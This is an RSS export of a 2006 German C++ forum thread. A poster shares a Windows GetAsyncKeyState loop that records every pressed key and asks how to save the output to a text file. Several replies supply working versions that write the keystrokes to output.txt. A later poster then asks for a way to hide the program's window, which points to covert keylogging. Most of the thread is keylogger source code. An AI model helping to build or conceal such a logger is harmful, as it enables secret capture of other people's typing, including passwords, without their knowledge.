<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[status in textdatei]]></title><description><![CDATA[<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;iostream.h&gt;

int main()
{
  SHORT KeyState;
  SHORT ArrKeyState[256];
  long CheckSum;
  long OldCheckSum;

  OldCheckSum = 987654;          // dummy

  while (1)
  {
    CheckSum = 0;
    for (int i = 0; i &lt; 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;
    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i &lt; 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)

        {
          cout &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; endl;
        }
      }
    }
    OldCheckSum = CheckSum;
  }
}
</code></pre>
<p>quelle:c-worker.ch</p>
<p>ich möchte dass die ausgabe auf dem bildschirm in eine textdatei geschrieben wird. wie kann ich das bewerkstelligen?</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/135501/status-in-textdatei</link><generator>RSS for Node</generator><lastBuildDate>Sat, 29 Aug 2026 00:09:45 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/135501.rss" rel="self" type="application/rss+xml"/><pubDate>Thu, 02 Feb 2006 15:50:44 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 15:50:44 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;iostream.h&gt;

int main()
{
  SHORT KeyState;
  SHORT ArrKeyState[256];
  long CheckSum;
  long OldCheckSum;

  OldCheckSum = 987654;          // dummy

  while (1)
  {
    CheckSum = 0;
    for (int i = 0; i &lt; 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;
    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i &lt; 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)

        {
          cout &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; endl;
        }
      }
    }
    OldCheckSum = CheckSum;
  }
}
</code></pre>
<p>quelle:c-worker.ch</p>
<p>ich möchte dass die ausgabe auf dem bildschirm in eine textdatei geschrieben wird. wie kann ich das bewerkstelligen?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984102</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984102</guid><dc:creator><![CDATA[mann]]></dc:creator><pubDate>Thu, 02 Feb 2006 15:50:44 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:01:09 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;iostream.h&gt;
#include &lt;fstream&gt;

int main()
{
  SHORT KeyState;
  SHORT ArrKeyState[256];
  long CheckSum;
  long OldCheckSum;

  OldCheckSum = 987654;          // dummy

  ofstream file (&quot;output.txt&quot;); //Öffne output.txt zum schreiben
  while (1)
  {
    CheckSum = 0;
    for (int i = 0; i &lt; 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;
    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i &lt; 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)

        {
          cout &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; endl;
          file &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; endl; //schreibe in datei...
        }
      }
    }
    OldCheckSum = CheckSum;
  }
file.close(); //schließe datei
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/984116</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984116</guid><dc:creator><![CDATA[Pigeon]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:01:09 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:15:18 GMT]]></title><description><![CDATA[<p><code>ofstream ' undeclared (first use this function)</code>file' undeclared (first use this function)</p>
<p>wie definiert man nochmal ofstream?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984139</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984139</guid><dc:creator><![CDATA[mann]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:15:18 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:18:48 GMT]]></title><description><![CDATA[<p>std::ofstream <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f4a1.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--light_bulb"
      title=":bulb:"
      alt="💡"
    /></p>
<p>Nimm bei der Gelegenheit auch gleich den neuen iostream-Header.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984144</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984144</guid><dc:creator><![CDATA[michba]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:18:48 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:22:45 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">#include &lt;windows.h&gt; 
#include &lt;iostream&gt; 
#include &lt;fstream&gt; 

int main() 
{ std::ofstream file;
  SHORT KeyState; 
  SHORT ArrKeyState[256]; 
  long CheckSum; 
  long OldCheckSum; 

  OldCheckSum = 987654;          // dummy 

  file &lt;&lt; (&quot;output.txt&quot;); //Öffne output.txt zum schreiben 
  while (1) 
  { 
    CheckSum = 0; 
    for (int i = 0; i &lt; 256; i++) 
    { 
      KeyState = GetAsyncKeyState(i); 
      CheckSum += KeyState; 
      ArrKeyState[i] = KeyState; 
    } 

    if (OldCheckSum != CheckSum) 
    { 
      for (int i = 0; i &lt; 256; i++) 
      { 
        // -32767 = KeyDown 
        if (ArrKeyState[i] == -32767) 

        { 
          ::std::cout &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; &quot;\n&quot;;
          file &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; &quot;\n&quot;; //schreibe in datei... 
        } 
      } 
    } 
    OldCheckSum = CheckSum; 
  } 
file.close(); //schließe datei 
}
</code></pre>
<p>habs jetzt so aber der speichrt mir das net in einer txt</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984150</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984150</guid><dc:creator><![CDATA[mann]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:22:45 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:39:20 GMT]]></title><description><![CDATA[<p>Du öffnest die Datei entweder gleich mit dem Konstruktor:</p>
<pre><code class="language-cpp">std::ofstream file(&quot;output.txt&quot;);
</code></pre>
<p>oder mit der open-Methode:</p>
<pre><code class="language-cpp">std::ofstream file;
file.open(&quot;output.txt&quot;);
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/984182</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984182</guid><dc:creator><![CDATA[michba]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:39:20 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:42:51 GMT]]></title><description><![CDATA[<p>Kannst auch das std weglassen wenn du namespace benutzt:</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;iostream&gt;
#include &lt;fstream&gt;

using namespace std;

int main()
{ std::ofstream file;
  SHORT KeyState;
  SHORT ArrKeyState[256];
  long CheckSum;
  long OldCheckSum;

  OldCheckSum = 987654;          // dummy

  file &lt;&lt; (&quot;output.txt&quot;); //Öffne output.txt zum schreiben
  while (1)
  {
    CheckSum = 0;
    for (int i = 0; i &lt; 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;
    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i &lt; 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)

        {
          ::std::cout &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; &quot;\n&quot;;
          file &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; (char) i &lt;&lt; &quot;)&quot; &lt;&lt; &quot;\n&quot;; //schreibe in datei...
        }
      }
    }
    OldCheckSum = CheckSum;
  }
file.close(); //schließe datei
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/984187</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984187</guid><dc:creator><![CDATA[Pigeon]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:42:51 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:55:02 GMT]]></title><description><![CDATA[<p>danke jetzt bräuchte ich eigentlich nur noch die funktion um ein fenster zu hiden...:&gt;</p>
<p>übrigens ich weiß das mit std war nur gerade zu faul</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984202</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984202</guid><dc:creator><![CDATA[Oo]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:55:02 GMT</pubDate></item><item><title><![CDATA[Reply to status in textdatei on Thu, 02 Feb 2006 16:55:28 GMT]]></title><description><![CDATA[<p>Die Datei brauch auch nicht mehr geschlossen werden, weil dies der Destruktor erledigt. (Außerdem wird die while Schleife nicht von einem break oder so verlassen...)</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;iostream&gt;
#include &lt;fstream&gt;

int main()
{
  SHORT KeyState, ArrKeyState[256];
  long CheckSum, OldCheckSum = 987654;          // dummy
  std::ofstream file(&quot;output.txt&quot;); //Öffne output.txt zum schreiben
  while(1)
  {
    CheckSum = 0;
    for (int i = 0; i &lt; 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;
    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i &lt; 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)
        {
          std::cout &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; static_cast&lt;char&gt;(i) &lt;&lt; &quot;)&quot; &lt;&lt; &quot;\n&quot;;
          file &lt;&lt; &quot;Key &quot; &lt;&lt; i &lt;&lt; &quot; pressed. (&quot; &lt;&lt; static_cast&lt;char&gt;(i) &lt;&lt; &quot;)&quot; &lt;&lt; std::endl; //schreibe in datei...
          // std::endl da dies auch noch std::flush aufruft
        }
      }
    }
    OldCheckSum = CheckSum;
  }
}
</code></pre>
<p>mfg.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984204</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984204</guid><dc:creator><![CDATA[joomoo]]></dc:creator><pubDate>Thu, 02 Feb 2006 16:55:28 GMT</pubDate></item></channel></rss>